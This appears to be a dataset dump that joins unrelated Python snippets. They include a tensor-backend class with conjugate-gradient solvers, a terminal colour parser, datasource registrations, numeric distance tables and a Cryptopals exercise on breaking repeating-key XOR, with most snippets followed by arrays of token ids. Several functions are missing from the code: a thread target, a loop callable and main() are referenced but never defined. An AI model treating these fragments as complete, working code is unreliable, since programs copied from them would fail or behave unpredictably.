NotImplementedError(self) def flip(self, value, axes: tuple or list): slices = tuple(slice(None, None, -1 if i in axes else None) for i in range(self.ndims(value))) return value[slices] def sum(self, value, axis=None, keepdims=False): raise NotImplementedError(self) def prod(self, value, axis=None): raise NotImplementedError(self) def divide_no_nan(self, x, y): """ Computes x/y but returns 0 if y=0. Args: x: y: Returns: """ raise NotImplementedError(self) def where(self, condition, x=None, y=None): raise NotImplementedError(self) def nonzero(self, values): """ Args: values: Tensor with only spatial dimensions Returns: non-zero multi-indices as tensor of shape (nnz, vector) """ raise NotImplementedError(self) def mean(self, value, axis=None, keepdims=False): raise NotImplementedError(self) def range(self, start, limit=None, delta=1, dtype: DType = DType(int, 32)): raise NotImplementedError(self) def zeros(self, shape, dtype: DType = None): raise NotImplementedError(self) def zeros_like(self, tensor): raise NotImplementedError(self) def ones(self, shape, dtype: DType = None): raise NotImplementedError(self) def ones_like(self, tensor): raise NotImplementedError(self) def meshgrid(self, *coordinates): raise NotImplementedError(self) def linspace(self, start, stop, number): raise NotImplementedError(self) def tensordot(self, a, a_axes: tuple or list, b, b_axes: tuple or list): """ Multiply-sum-reduce a_axes of a with b_axes of b. """ raise NotImplementedError(self) def matmul(self, A, b): raise NotImplementedError(self) def einsum(self, equation, *tensors): raise NotImplementedError(self) def while_loop(self, loop: Callable, values: tuple): """ ```python while any(values[0]): values = loop(*values) return values ``` This operation does not support backpropagation. Args: loop: Loop function, must return a `tuple` with entries equal to `values` in shape and data type. values: Initial values of loop variables. Returns: Loop variables upon loop completion. """ raise NotImplementedError(self) def abs(self, x): raise NotImplementedError(self) def sign(self, x): raise NotImplementedError(self) def round(self, x): raise NotImplementedError(self) def ceil(self, x): raise NotImplementedError(self) def floor(self, x): raise NotImplementedError(self) def max(self, x, axis=None, keepdims=False): raise NotImplementedError(self) def min(self, x, axis=None, keepdims=False): raise NotImplementedError(self) def maximum(self, a, b): raise NotImplementedError(self) def minimum(self, a, b): raise NotImplementedError(self) def clip(self, x, minimum, maximum): raise NotImplementedError(self) def sqrt(self, x): raise NotImplementedError(self) def exp(self, x): raise NotImplementedError(self) def conv(self, value, kernel, zero_padding=True): """ Convolve value with kernel. Depending on the tensor rank, the convolution is either 1D (rank=3), 2D (rank=4) or 3D (rank=5). Higher dimensions may not be supported. Args: value: tensor of shape (batch_size, in_channel, spatial...) kernel: tensor of shape (batch_size or 1, out_channel, in_channel, spatial...) zero_padding: If True, pads the edges of `value` with zeros so that the result has the same shape as `value`. Returns: Convolution result as tensor of shape (batch_size, out_channel, spatial...) """ raise NotImplementedError(self) def expand_dims(self, a, axis=0, number=1): raise NotImplementedError(self) def shape(self, tensor): raise NotImplementedError(self) def staticshape(self, tensor): raise NotImplementedError(self) def cast(self, x, dtype: DType): raise NotImplementedError(self) def to_float(self, x): """ Converts a tensor to floating point values with precision equal to the currently set default precision. See Also: `Backend.precision()`. If `x` is mutable and of the correct floating type, returns a copy of `x`. To convert float tensors to the backend precision but leave non-float tensors untouched, use `Backend.as_tensor()`. Args: x: tensor of bool, int or float Returns: Values of `x` as float tensor """ return self.cast(x, self.float_type) def to_int32(self, x): return self.cast(x, DType(int, 32)) def to_int64(self, x): return self.cast(x, DType(int, 64)) def to_complex(self, x): return self.cast(x, DType(complex, max(64, min(self.precision * 2, 128)))) def batched_gather_nd(self, values, indices): """ Gathers values from the tensor `values` at locations `indices`. The first dimension of `values` and `indices` is the batch dimension which must be either equal for both or one for either. Args: values: tensor of shape (batch, spatial..., channel) indices: int tensor of shape (batch, any..., multi_index) where the size of multi_index is values.rank - 2. Returns: Gathered values as tensor of shape (batch, any..., channel) """ raise NotImplementedError(self) def flatten(self, x): return self.reshape(x, (-1,)) def std(self, x, axis=None, keepdims=False): raise NotImplementedError(self) def boolean_mask(self, x, mask, axis=0): """ Args: x: tensor with any number of dimensions mask: 1D mask tensor axis: Axis index >= 0 """ raise NotImplementedError(self) def isfinite(self, x): raise NotImplementedError(self) def scatter(self, base_grid, indices, values, mode: str): """ Depending on `mode`, performs scatter_update or scatter_add. Args: base_grid: Tensor into which scatter values are inserted at indices. Tensor of shape (batch_size, spatial..., channels) indices: Tensor of shape (batch_size or 1, update_count, index_vector) values: Values to scatter at indices. Tensor of shape (batch_size or 1, update_count or 1, channels or 1) mode: One of ('update', 'add') Returns: Copy of base_grid with values at `indices` updated by `values`. """ raise NotImplementedError(self) def any(self, boolean_tensor, axis=None, keepdims=False): raise NotImplementedError(self) def all(self, boolean_tensor, axis=None, keepdims=False): raise NotImplementedError(self) def fft(self, x): """ Computes the n-dimensional FFT along all but the first and last dimensions. Args: x: tensor of dimension 3 or higher Returns: """ raise NotImplementedError(self) def ifft(self, k): """ Computes the n-dimensional inverse FFT along all but the first and last dimensions. Args: k: tensor of dimension 3 or higher Returns: """ raise NotImplementedError(self) def imag(self, x): raise NotImplementedError(self) def real(self, x): raise NotImplementedError(self) def sin(self, x): raise NotImplementedError(self) def cos(self, x): raise NotImplementedError(self) def tan(self, x): raise NotImplementedError(self) def log(self, x): """ Natural logarithm """ raise NotImplementedError(self) def log2(self, x): raise NotImplementedError(self) def log10(self, x): raise NotImplementedError(self) def dtype(self, array) -> DType: raise NotImplementedError(self) def tile(self, value, multiples): """ Repeats the tensor along each axis the number of times given by multiples. If `multiples` has more dimensions than `value`, these dimensions are added to `value` as outer dimensions. Args: value: tensor multiples: tuple or list of integers Returns: tile tensor """ raise NotImplementedError(self) def sparse_tensor(self, indices, values, shape): """ Optional features. Args: indices: tuple/list matching the dimensions (pair for matrix) values: param shape: shape: Returns: """ raise NotImplementedError(self) def coordinates(self, tensor): """ Returns the coordinates and values of a tensor. Args: tensor: Sparse tensor Returns: coordinates: `tuple` of tensor holding the coordinate vectors, i.e. (row, col) for matrices. indices: Tensor holding the corresponding values """ raise NotImplementedError(self) def minimize(self, method: str, f, x0, atol, max_iter, trj: bool): from scipy.optimize import OptimizeResult, minimize from threading import Thread assert self.supports(Backend.functional_gradient) assert len(self.staticshape(x0)) == 2 # (batch, parameters) batch_size = self.staticshape(x0)[0] fg = self.functional_gradient(f, [0], get_output=True) method_description = f"SciPy {method} with {self.name}" iterations = [0] * batch_size function_evaluations = [0] * batch_size xs = [None] * batch_size final_losses = [None] * batch_size converged = [False] * batch_size diverged = [False] * batch_size messages = [""] * batch_size f_inputs = [None] * batch_size f_b_losses = None f_b_losses_np = None f_grad_np = None f_input_available = Barrier(batch_size + 1) f_output_available = Barrier(batch_size + 1) finished = [False] * batch_size all_finished = False trajectories = [[] for _ in range(batch_size)] if trj else None threads = [] for b in range(batch_size): b_thread = Thread(target=b_thread) threads.append(b_thread) b_thread.start() while True: f_input_available.wait() if all(finished): all_finished = True f_output_available.wait() break _, f_b_losses, f_grad = fg(self.stack(f_inputs)) f_b_losses_np = self.numpy(f_b_losses).astype(numpy.float64) f_grad_np = self.numpy(f_grad).astype(numpy.float64) f_output_available.wait() for b_thread in threads: b_thread.join() # make sure threads exit correctly if trj: max_trajectory_length = max([len(t) for t in trajectories]) last_points = [SolveResult(method_description, xs[b], final_losses[b], iterations[b], function_evaluations[b], converged[b], diverged[b], "") for b in range(batch_size)] trajectories = [t[:-1] + [last_point] * (max_trajectory_length - len(t) + 1) for t, last_point in zip(trajectories, last_points)] trajectory = [] for states in zip(*trajectories): x = self.stack([self.to_float(state.x) for state in states]) residual = self.stack([state.residual for state in states]) iterations = [state.iterations for state in states] function_evaluations = [state.function_evaluations for state in states] converged = [state.converged for state in states] diverged = [state.diverged for state in states] trajectory.append(SolveResult(method_description, x, residual, iterations, function_evaluations, converged, diverged, messages)) return trajectory else: x = self.stack(xs) residual = self.stack(final_losses) return SolveResult(method_description, x, residual, iterations, function_evaluations, converged, diverged, messages) def linear_solve(self, method: str, lin, y, x0, rtol, atol, max_iter, trj: bool) -> SolveResult or List[SolveResult]: """ Solve the system of linear equations A x = y. This method need not provide a gradient for the operation. Args: method: Which algorithm to use. One of `('auto', 'CG', 'CG-adaptive')`. lin: Linear operation. One of * sparse/dense matrix valid for all instances * tuple/list of sparse/dense matrices for varying matrices along batch, must have the same nonzero locations. * linear function A(x), must be called on all instances in parallel y: target result of A * x. 2nd order tensor (batch, vector) or list of vectors. x0: Initial guess of size (batch, parameters) rtol: Relative tolerance of size (batch,) atol: Absolute tolerance of size (batch,) max_iter: Maximum number of iterations of size (batch,) trj: Whether to record and return the optimization trajectory as a `List[SolveResult]`. Returns: result: `SolveResult` or `List[SolveResult]`, depending on `trj`. """ if method == 'auto': return self.conjugate_gradient_adaptive(lin, y, x0, rtol, atol, max_iter, trj) elif method == 'CG': return self.conjugate_gradient(lin, y, x0, rtol, atol, max_iter, trj) elif method == 'CG-adaptive': return self.conjugate_gradient_adaptive(lin, y, x0, rtol, atol, max_iter, trj) else: raise NotImplementedError(f"Method '{method}' not supported for linear solve.") def conjugate_gradient(self, lin, y, x0, rtol, atol, max_iter, trj: bool) -> SolveResult or List[SolveResult]: """ Standard conjugate gradient algorithm. Signature matches to `Backend.linear_solve()`. """ # Based on "An Introduction to the Conjugate Gradient Method Without the Agonizing Pain" by Jonathan Richard Shewchuk # symbols: dx=d, dy=q, step_size=alpha, residual_squared=delta, residual=r, y=b method = f"-Flow CG ({self.name})" y = self.to_float(y) x0 = self.copy(self.to_float(x0), only_mutable=True) batch_size = self.staticshape(y)[0] tolerance_sq = self.maximum(rtol ** 2 * self.sum(y ** 2, -1), atol ** 2) x = x0 dx = residual = y - self.linear(lin, x) it_counter = 0 iterations = self.zeros([batch_size], DType(int, 32)) function_evaluations = self.ones([batch_size], DType(int, 32)) residual_squared = rsq0 = self.sum(residual ** 2, -1, keepdims=True) diverged = self.any(~self.isfinite(x), axis=(1,)) converged = self.all(residual_squared <= tolerance_sq, axis=(1,)) trajectory = [SolveResult(method, x, residual, iterations, function_evaluations, converged, diverged, "")] if trj else None finished = converged | diverged | (iterations >= max_iter); not_finished_1 = self.to_int32(~finished) # ; active = self.to_float(self.expand_dims(not_finished_1, -1)) while ~self.all(finished): it_counter += 1; iterations += not_finished_1 dy = self.linear(lin, dx); function_evaluations += not_finished_1 dx_dy = self.sum(dx * dy, axis=-1, keepdims=True) step_size = self.divide_no_nan(residual_squared, dx_dy) step_size *= self.expand_dims(self.to_float(not_finished_1), -1) # this is not really necessary but ensures batch-independence x += step_size * dx if it_counter % 50 == 0: residual = y - self.linear(lin, x); function_evaluations += 1 else: residual = residual - step_size * dy # in-place subtraction affects convergence residual_squared_old = residual_squared residual_squared = self.sum(residual ** 2, -1, keepdims=True) dx = residual + self.divide_no_nan(residual_squared, residual_squared_old) * dx diverged = self.any(residual_squared / rsq0 > 100, axis=(1,)) & (iterations >= 8) converged = self.all(residual_squared <= tolerance_sq, axis=(1,)) if trajectory is not None: trajectory.append(SolveResult(method, x, residual, iterations, function_evaluations, converged, diverged, "")) x = self.copy(x) iterations = self.copy(iterations) finished = converged | diverged | (iterations >= max_iter); not_finished_1 = self.to_int32(~finished) # ; active = self.to_float(self.expand_dims(not_finished_1, -1)) return trajectory if trj else SolveResult(method, x, residual, iterations, function_evaluations, converged, diverged, "") def conjugate_gradient_adaptive(self, lin, y, x0, rtol, atol, max_iter, trj: bool) -> SolveResult or List[SolveResult]: """ Conjugate gradient algorithm with adaptive step size. Signature matches to `Backend.linear_solve()`. """ # Based on the variant described in "Methods of Conjugate Gradients for Solving Linear Systems" by Magnus R. Hestenes and Eduard Stiefel # https://nvlpubs.nist.gov/nistpubs/jres/049/jresv49n6p409_A1b.pdf method = f"-Flow CG-adaptive ({self.name})" y = self.to_float(y) x0 = self.copy(self.to_float(x0), only_mutable=True) batch_size = self.staticshape(y)[0] tolerance_sq = self.maximum(rtol ** 2 * self.sum(y ** 2, -1), atol ** 2) x = x0 dx = residual = y - self.linear(lin, x) dy = self.linear(lin, dx) iterations = self.zeros([batch_size], DType(int, 32)) function_evaluations = self.ones([batch_size], DType(int, 32)) residual_squared = rsq0 = self.sum(residual ** 2, -1, keepdims=True) diverged = self.any(~self.isfinite(x), axis=(1,)) converged = self.all(residual_squared <= tolerance_sq, axis=(1,)) trajectory = [SolveResult(method, x, residual, iterations, function_evaluations, converged, diverged, "")] if trj else None continue_ = ~converged & ~diverged & (iterations < max_iter) _, _, x, _, _, residual, iterations, function_evaluations, converged, diverged =\ self.while_loop(loop, (continue_, 0, x, dx, dy, residual, iterations, function_evaluations, converged, diverged)) return trajectory if trj else SolveResult(method, x, residual, iterations, function_evaluations, converged, diverged, "") def linear(self, lin, vector): if callable(lin): return lin(vector) elif isinstance(lin, (tuple, list)): for lin_i in lin: lin_shape = self.staticshape(lin_i) assert len(lin_shape) == 2 return self.stack([self.matmul(m, v) for m, v in zip(lin, self.unstack(vector))]) else: lin_shape = self.staticshape(lin) assert len(lin_shape) == 2, f"A must be a matrix but got shape {lin_shape}" return self.matmul(lin, vector) def gradients(self, y, xs: tuple or list, grad_y) -> tuple: raise NotImplementedError(self) def record_gradients(self, xs: tuple or list, persistent=False): raise NotImplementedError(self) def stop_gradient(self, value): raise NotImplementedError(self) def grid_sample(self, grid, spatial_dims: tuple, coordinates, extrapolation='constant'): """ Interpolates a regular grid at the specified coordinates. Args: grid: Tensor spatial_dims: Dimension indices that correspond to coordinate vectors coordinates: Tensor of floating grid indices. The last dimension must match `spatial_dims`. The first grid point of dimension i lies at position 0, the last at values.shape[i]-1. extrapolation: Values to use for coordinates outside the grid. One of `('undefined', 'zeros', 'boundary', 'periodic', 'symmetric', 'reflect')`. Returns: sampled values with linear interpolation """ return NotImplemented def variable(self, value): return NotImplemented def ndims(self, tensor): return len(self.staticshape(tensor)) def size(self, array): return self.prod(self.shape(array)) def batch_gather(self, tensor, batches): if isinstance(batches, int): batches = [batches] return tensor[batches, ...] def unstack(self, tensor, axis=0, keepdims=False) -> tuple: if axis < 0: axis += len(tensor.shape) if axis >= len(tensor.shape) or axis < 0: raise ValueError("Illegal axis value") result = [] for slice_idx in range(tensor.shape[axis]): if keepdims: component = tensor[tuple([slice(slice_idx, slice_idx + 1) if d == axis else slice(None) for d in range(len(tensor.shape))])] else: component = tensor[tuple([slice_idx if d == axis else slice(None) for d in range(len(tensor.shape))])] result.append(component) return tuple(result) def equal(self, x, y): """ Element-wise equality check """ raise NotImplementedError(self) def not_equal(self, x, y): return ~self.equal(x, y) def greater_than(self, x, y): x, y = self.auto_cast(x, y) return x > y def greater_or_equal(self, x, y): x, y = self.auto_cast(x, y) return x >= y def add(self, a, b): a, b = self.auto_cast(a, b) return a + b def sub(self, a, b): a, b = self.auto_cast(a, b) return a - b def mul(self, a, b): a, b = self.auto_cast(a, b) return a * b def div(self, numerator, denominator): numerator, denominator = self.auto_cast(numerator, denominator) return numerator / denominator def pow(self, base, exp): base, exp = self.auto_cast(base, exp) return base ** exp def mod(self, dividend, divisor): dividend, divisor = self.auto_cast(dividend, divisor) return dividend % divisor def and_(self, a, b): a, b = self.auto_cast(a, b) return a & b def or_(self, a, b): a, b = self.auto_cast(a, b) return a | b def xor(self, a, b): a, b = self.auto_cast(a, b) return a ^ b def floordiv(self, a, b): a, b = self.auto_cast(a, b) return a // b BACKENDS = [] """ Global list of all registered backends. Register a `Backend` by adding it to the list. """ _DEFAULT = [] # [0] = global default, [1:] from 'with' blocks _PRECISION = [32] # [0] = global precision in bits, [1:] from 'with' blocks def choose_backend(*values, prefer_default=False) -> Backend: """ Selects a suitable backend to handle the given values. This function is used by most math functions operating on `Tensor` objects to delegate the actual computations. Args: *values: prefer_default: if True, selects the default backend assuming it can handle handle the values, see `default_backend()`. raise_error: Determines the behavior of this function if no backend can handle the given values. If True, raises a `NoBackendFound` error, else returns `None`. Returns: the selected `Backend` """ # --- Default Backend has priority --- if _is_applicable(_DEFAULT[-1], values) and (prefer_default or _is_specific(_DEFAULT[-1], values)): return _DEFAULT[-1] # --- Filter out non-applicable --- backends = [backend for backend in BACKENDS if _is_applicable(backend, values)] if len(backends) == 0: raise NoBackendFound(f"No backend found for types {[type(v).__name__ for v in values]}; registered backends are {BACKENDS}") # --- Native tensors? --- for backend in backends: if _is_specific(backend, values): return backend return backends[0] def default_backend() -> Backend: """ The default backend is preferred by `choose_backend()`. The default backend can be set globally using `set_global_default_backend()` and locally using `with backend:`. Returns: current default `Backend` """ return _DEFAULT[-1] def context_backend() -> Backend or None: """ Returns the backend set by the inner-most surrounding `with backend:` block. If called outside a backend context, returns `None`. Returns: `Backend` or `None` """ return _DEFAULT[-1] if len(_DEFAULT) > 1 else None def set_global_default_backend(backend: Backend): """ Sets the given backend as default. This setting can be overridden using `with backend:`. See `default_backend()`, `choose_backend()`. Args: backend: `Backend` to set as default """ assert isinstance(backend, Backend) _DEFAULT[0] = backend def set_global_precision(floating_point_bits: int): """ Sets the floating point precision of DYNAMIC_BACKEND which affects all registered backends. If `floating_point_bits` is an integer, all floating point tensors created henceforth will be of the corresponding data type, float16, float32 or float64. Operations may also convert floating point values to this precision, even if the input had a different precision. If `floating_point_bits` is None, new tensors will default to float32 unless specified otherwise. The output of math operations has the same precision as its inputs. Args: floating_point_bits: one of (16, 32, 64, None) """ _PRECISION[0] = floating_point_bits def get_precision() -> int: """ Gets the current target floating point precision in bits. The precision can be set globally using `set_global_precision()` or locally using `with precision(p):`. Any Backend method may convert floating point values to this precision, even if the input had a different precision. Returns: 16 for half, 32 for single, 64 for double """ return _PRECISION[-1] def convert(tensor, backend: Backend = None, use_dlpack=True): """ Convert a Tensor to the native format of `backend`. If the target backend can operate natively on `tensor`, returns `tensor`. If both backends support *DLPack* and `use_dlpack=True`, uses zero-copy conversion using the DLPack library. Else, intermediately converts `tensor` to a NumPy array. *Warning*: This operation breaks the automatic differentiation chain. Args: tensor: Native tensor belonging to any registered backend. backend: Target backend. If `None`, uses the current default backend, see `default_backend()`. Returns: Tensor belonging to `backend`. """ backend = backend or default_backend() current_backend = choose_backend(tensor, prefer_default=False) if backend.is_tensor(tensor, True) or backend is current_backend: return tensor if use_dlpack and current_backend.supports(Backend.to_dlpack) and backend.supports(Backend.from_dlpack): capsule = current_backend.to_dlpack(tensor) return backend.from_dlpack(capsule) else: nparray = current_backend.numpy(tensor) return backend.as_tensor(nparray) # Backend choice utility functions # Other low-level helper functions
[ 6738, 17268, 1330, 3706, 83, 29291, 198, 6738, 4732, 8019, 1330, 4732, 37153, 198, 6738, 4704, 278, 1330, 32804, 198, 6738, 19720, 1330, 7343, 11, 4889, 540, 198, 198, 11748, 299, 32152, 198, 198, 6738, 47540, 67, 4906, 1330, 360, 6030,...
2.456931
14,709
import re from curtsies.formatstring import fmtstr, FmtStr from curtsies.termformatconstants import ( FG_COLORS, BG_COLORS, colors as CURTSIES_COLORS, ) from functools import partial from ..lazyre import LazyReCompile COLORS = CURTSIES_COLORS + ("default",) CNAMES = dict(zip("krgybmcwd", COLORS)) # hack for finding the "inverse" INVERSE_COLORS = { CURTSIES_COLORS[idx]: CURTSIES_COLORS[ (idx + (len(CURTSIES_COLORS) // 2)) % len(CURTSIES_COLORS) ] for idx in range(len(CURTSIES_COLORS)) } INVERSE_COLORS["default"] = INVERSE_COLORS[CURTSIES_COLORS[0]] def func_for_letter(letter_color_code: str, default: str = "k"): """Returns FmtStr constructor for a bpython-style color code""" if letter_color_code == "d": letter_color_code = default elif letter_color_code == "D": letter_color_code = default.upper() return partial( fmtstr, fg=CNAMES[letter_color_code.lower()], bold=letter_color_code.isupper(), ) def parse(s): """Returns a FmtStr object from a bpython-formatted colored string""" rest = s stuff = [] while True: if not rest: break start, rest = peel_off_string(rest) stuff.append(start) return ( sum((fs_from_match(d) for d in stuff[1:]), fs_from_match(stuff[0])) if len(stuff) > 0 else FmtStr() ) peel_off_string_re = LazyReCompile( r"""(?P<colormarker>\x01 (?P<fg>[krgybmcwdKRGYBMCWD]?) (?P<bg>[krgybmcwdKRGYBMCWDI]?)?) (?P<bold>\x02?) \x03 (?P<string>[^\x04]*) \x04 (?P<rest>.*) """, re.VERBOSE | re.DOTALL, )
[ 11748, 302, 198, 198, 6738, 1090, 912, 444, 13, 18982, 8841, 1330, 46996, 2536, 11, 376, 16762, 13290, 198, 6738, 1090, 912, 444, 13, 4354, 18982, 9979, 1187, 1330, 357, 198, 220, 220, 220, 25503, 62, 25154, 20673, 11, 198, 220, 220, ...
2.08508
811
# -*- coding: utf-8 -*- from ..tre_elements import TREExtension, TREElement __classification__ = "UNCLASSIFIED" __author__ = "Thomas McCullough"
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 11485, 33945, 62, 68, 3639, 1330, 309, 11587, 742, 3004, 11, 309, 11587, 1732, 198, 198, 834, 4871, 2649, 834, 796, 366, 4944, 45449, 1, 198, 834, 9800, 834...
2.830189
53
from ..imports import * from .. import utils as U from ..core import GenLearner
[ 6738, 11485, 320, 3742, 1330, 1635, 198, 6738, 11485, 1330, 3384, 4487, 355, 471, 198, 6738, 11485, 7295, 1330, 5215, 14961, 1008, 628, 628, 628, 198 ]
3.307692
26
__author__ = "Yuyu Luo" import json import pandas
[ 834, 9800, 834, 796, 366, 56, 4669, 84, 25956, 1, 198, 198, 11748, 33918, 198, 11748, 19798, 292, 628 ]
2.736842
19
"""Library for executing user-defined dance.""" import logging from typing import Any, Dict, Optional, Callable import datetime import ac import ac.blocks from ac import ACs, AC JC = Dict[str, Any] def track_is_occupied(block: ac.Block) -> bool: return bool(block['blockState']['state'] == 'occupied')
[ 37811, 23377, 329, 23710, 2836, 12, 23211, 9280, 526, 15931, 198, 198, 11748, 18931, 198, 6738, 19720, 1330, 4377, 11, 360, 713, 11, 32233, 11, 4889, 540, 198, 11748, 4818, 8079, 198, 198, 11748, 936, 198, 11748, 936, 13, 27372, 198, ...
3.106796
103
"""Provide the ReportableMixin class.""" from ....const import API_PATH
[ 37811, 15946, 485, 262, 6358, 540, 35608, 259, 1398, 526, 15931, 198, 6738, 19424, 9979, 1330, 7824, 62, 34219, 628 ]
3.65
20
import collections import os.path from zope import component from zope import interface from zope.component.factory import Factory from sparc.configuration import container import mellon mellonByteFileFromFilePathAndConfigFactory = Factory(MellonByteFileFromFilePathAndConfig) mellonUnicodeFileFromFilePathAndConfigFactory = Factory(MellonUnicodeFileFromFilePathAndConfig) mellonFileProviderForRecursiveDirectoryConfigFactory = Factory(MellonFileProviderForRecursiveDirectoryConfig) interface.alsoProvides(mellonFileProviderForRecursiveDirectoryConfigFactory, mellon.IMellonFileProviderFactory)
[ 11748, 17268, 198, 11748, 28686, 13, 6978, 198, 6738, 1976, 3008, 1330, 7515, 198, 6738, 1976, 3008, 1330, 7071, 198, 6738, 1976, 3008, 13, 42895, 13, 69, 9548, 1330, 19239, 198, 6738, 599, 5605, 13, 11250, 3924, 1330, 9290, 198, 11748,...
3.75
160
"""Predefined Datasources. """ # toolbox imports from ...datasource import Datasource Datasource.register_instance('imagenet-val', __name__ + '.imagenet', 'ImageNet', section='val') # section='train' Datasource.register_instance('dogsandcats', __name__ + '.dogsandcats', 'DogsAndCats') Datasource.register_instance('widerface', __name__ + '.widerface', 'WiderFace') Datasource.register_instance('fgnet', __name__ + '.fgnet', 'FGNet') Datasource.register_instance('Helen', __name__ + '.helen', 'Helen') Datasource.register_instance('lfw', __name__ + '.lfw', 'LabeledFacesInTheWild') Datasource.register_instance('ms-celeb-1m', __name__ + '.face', 'MSCeleb1M') Datasource.register_instance('5celeb', __name__ + '.fivecelebface', 'FiveCelebFace') Datasource.register_instance('ffhq', __name__ + '.ffhq', 'FFHQ') Datasource.register_instance('celeba', __name__ + '.celeba', 'CelebA') Datasource.register_instance('celeba-aligned', __name__ + '.celeba', 'CelebA', aligned=True) Datasource.register_class('WiderFace', __name__ + '.widerface')
[ 37811, 39156, 18156, 16092, 292, 2203, 13, 198, 37811, 198, 198, 2, 2891, 3524, 17944, 198, 6738, 2644, 19608, 292, 1668, 1330, 16092, 292, 1668, 198, 198, 27354, 292, 1668, 13, 30238, 62, 39098, 10786, 320, 11286, 316, 12, 2100, 3256, ...
2.415449
479
# -*- coding: utf-8 -*- """ Created on Tue Oct 22 15:58:44 2019 @author: babin """ posits_def = [251, 501, 751, 1001, 1251, 1501, 1751, 2001, 2251, 2501, 2751, 3001, 3215] dist_whole_align_ref = {'AB048704.1_genotype_C_': [0.88, 0.938, 0.914, 0.886, 0.89, 0.908, 0.938, 0.948, 0.948, 0.886, 0.852, 0.8580645161290322, 0.827906976744186], 'AB010291.1_Bj': [0.968, 0.986, 0.946, 0.92, 0.94, 0.964, 0.95, 0.892, 0.914, 0.9359999999999999, 0.924, 0.935483870967742, 0.9255813953488372]} dist_win_250_shift_100_ref = {'AB048704.1_genotype_C_': [0.87, 0.9, 0.9359999999999999, 0.924, 0.944, 0.944, 0.948, 0.888, 0.868, 0.86, 0.888, 0.9, 0.908, 0.88, 0.916, 0.924, 0.94, 0.96, 0.948, 0.9319999999999999, 0.944, 0.9359999999999999, 0.96, 0.9319999999999999, 0.864, 0.8200000000000001, 0.88, 0.892, 0.88, 0.844, 0.827906976744186, 0.8608695652173913, 0.9333333333333333], 'AB010291.1_Bj': [0.95, 0.984, 0.988, 0.984, 0.98, 0.98, 0.98, 0.92, 0.896, 0.888, 0.928, 0.94, 0.96, 0.948, 0.976, 0.976, 0.968, 0.952, 0.896, 0.844, 0.86, 0.908, 0.976, 0.948, 0.916, 0.904, 0.9359999999999999, 0.948, 0.94, 0.9359999999999999, 0.9255813953488372, 0.9217391304347826, 0.8666666666666667]} dist_whole_align_def_params_k2p = {'AB048704.1_genotype_C_': [0.8681719101219889, 0.9351731626008992, 0.9083728156043438, 0.8750271283550077, 0.879929128403318, 0.9015597329057567, 0.9351297624958606, 0.9459250442159328, 0.9459717143364927, 0.8760802380420646, 0.8343273948904422, 0.841497348083017, 0.8033200314745574], 'AB010291.1_Bj': [0.9671530980992109, 0.9858456107911616, 0.9438329817983037, 0.9150569322625627, 0.9372918193486423, 0.9630251291666885, 0.9481456308045444, 0.8823622232289046, 0.9077377632214376, 0.9325670957791264, 0.919398127767968, 0.9323907045444492, 0.9211964811945209]}
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 41972, 319, 30030, 2556, 2534, 1315, 25, 3365, 25, 2598, 13130, 198, 198, 31, 9800, 25, 275, 6014, 198, 37811, 198, 198, 1930, 896, 62, 4299, 796, 685, 280...
1.615034
1,317
import numpy as np # This class generates a 2D dataset with two classes, "positive" and "negative". # Each class follows a Gaussian distribution.
[ 11748, 299, 32152, 355, 45941, 198, 198, 2, 770, 1398, 18616, 257, 362, 35, 27039, 351, 734, 6097, 11, 366, 24561, 1, 290, 366, 31591, 1911, 198, 2, 5501, 1398, 5679, 257, 12822, 31562, 6082, 13, 628, 220, 220, 220, 220, 198 ]
3.642857
42
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Break repeating-key XOR # # It is officially on, now. # # This challenge isn't conceptually hard, but it involves actual # error-prone coding. The other challenges in this set are there to bring # you up to speed. This one is there to qualify you. If you can do this # one, you're probably just fine up to Set 6. # # There's a file here: # # http://cryptopals.com/static/challenge-data/6.txt # # It's been base64'd after being encrypted with repeating-key XOR. # # Decrypt it. # # Here's how: # # 1. Let KEYSIZE be the guessed length of the key; try values from 2 to # (say) 40. # 2. Write a function to compute the edit distance/Hamming distance between # two strings. The Hamming distance is just the number of differing # bits. The distance between: # # this is a test # # and # # wokka wokka!!! # # is 37. *Make sure your code agrees before you proceed.* # 3. For each KEYSIZE, take the first KEYSIZE worth of bytes, and the # second KEYSIZE worth of bytes, and find the edit distance between them. # Normalize this result by dividing by KEYSIZE. # 4. The KEYSIZE with the smallest normalized edit distance is probably the # key. You could proceed perhaps with the smallest 2-3 KEYSIZE values. # Or take 4 KEYSIZE blocks instead of 2 and average the distances. # 5. Now that you probably know the KEYSIZE: break the ciphertext into # blocks of KEYSIZE length. # 6. Now transpose the blocks: make a block that is the first byte of every # block, and a block that is the second byte of every block, and so on. # 7. Solve each block as if it was single-character XOR. You already have # code to do this. # 8. For each block, the single-byte XOR key that produces the best looking # histogram is the repeating-key XOR key byte for that block. Put them # together and you have the key. # # This code is going to turn out to be surprisingly useful later on. Breaking # repeating-key XOR ("Vigenre") statistically is obviously an academic # exercise, a "Crypto 101" thing. But more people "know how" to break it than # can actually break it, and a similar technique breaks something much more # important. # # No, that's not a mistake. # # We get more tech support questions for this challenge than any of the # other ones. We promise, there aren't any blatant errors in this text. # In particular: the "wokka wokka!!!" edit distance really is 37. # import inspect import os import sys from itertools import zip_longest sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(inspect.getfile(lambda: 0))))) from util.loader import loader from util.text import englishness, repeating_key_xor, single_byte_xor # Lookup table for the number of 1 bits in a nibble. (Nybble, quartet, etc.) NIBBLE_BITS = [0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4] def likely_key_sizes(bs, lower=2, upper=40, n=3): """Finds a repeating-key-XOR'd ciphertext's most likely key sizes.""" sizes = {} for size in range(lower, upper + 1): normalized_distance = 0 for i in range(0, len(bs) - size * 2, size * 2): bs1, bs2 = bs[i : i + size], bs[i + size : i + size * 2] normalized_distance += hamming_distance(bs1, bs2) / 2 sizes.update({size: normalized_distance}) return sorted(sizes, key=lambda k: sizes[k])[:n] def hamming_distance(bs1, bs2): """Finds the Hamming distance between two bytestrings.""" distance = 0 for b1, b2 in zip_longest(bs1, bs2, fillvalue=0): b = b1 ^ b2 distance += NIBBLE_BITS[b >> 4] + NIBBLE_BITS[b & 0xF] return distance if __name__ == "__main__": try: main() except KeyboardInterrupt: pass # Output: # # Key: 'Terminator X: Bring the noise' (29 bytes) # # I'm back and I'm ringin' the bell # A rockin' on the mike while the fly girls yell # In 